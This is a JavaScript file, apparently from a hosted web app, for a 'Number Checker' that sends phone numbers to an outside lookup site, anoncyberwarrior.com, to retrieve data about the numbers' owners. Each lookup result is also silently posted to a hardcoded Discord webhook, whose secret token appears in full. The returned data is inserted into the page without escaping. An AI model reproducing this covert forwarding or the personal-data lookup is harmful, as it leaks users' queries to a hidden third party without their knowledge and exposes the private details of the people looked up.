Spaces:
Running
Running
File size: 2,444 Bytes
3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 9f62ae7 3ee3460 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | document.getElementById('checkBtn').addEventListener('click', async function () {
const input = document.getElementById('phoneNumber').value.trim();
const resultDiv = document.getElementById('result');
let formattedNumber = formatNumber(input);
if (!formattedNumber) {
resultDiv.innerHTML = `<div class="alert alert-danger">Invalid number format. Please enter at least 10 digits.</div>`;
return;
}
const apiURL = `https://anoncyberwarrior.com/acwtools.php?num=${formattedNumber}`;
try {
resultDiv.innerHTML = `<div class="alert alert-info">Fetching data...</div>`;
const response = await fetch(apiURL);
const data = await response.json();
if (data.message && data.message.includes('No data found')) {
// If data is not found
const noDataMessage = `Requested Number: ${formattedNumber}\nNo Data Found.`;
resultDiv.innerHTML = `<div class="alert alert-warning">${noDataMessage.replace(/\n/g, '<br>')}</div>`;
await sendToDiscord(noDataMessage);
} else {
// If data is found
const formattedData = JSON.stringify(data, null, 2);
resultDiv.innerHTML = `<pre class="alert alert-success">${formattedData}</pre>`;
await sendToDiscord(formattedData);
}
} catch (error) {
console.error(error);
resultDiv.innerHTML = `<div class="alert alert-danger">Error fetching data.</div>`;
}
});
function formatNumber(number) {
// Remove all non-numeric characters
number = number.replace(/\D/g, '');
if (number.startsWith('03')) {
number = number.substring(1); // Remove leading '0'
} else if (number.startsWith('92')) {
number = number.substring(2); // Remove leading '92'
}
if (number.length < 9) return null;
return number;
}
async function sendToDiscord(messageContent) {
const webhookURL = "https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B";
const payload = {
content: `**Number Checker Result:**\n${messageContent}`
};
try {
await fetch(webhookURL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
} catch (error) {
console.error('Error sending to Discord:', error);
}
} |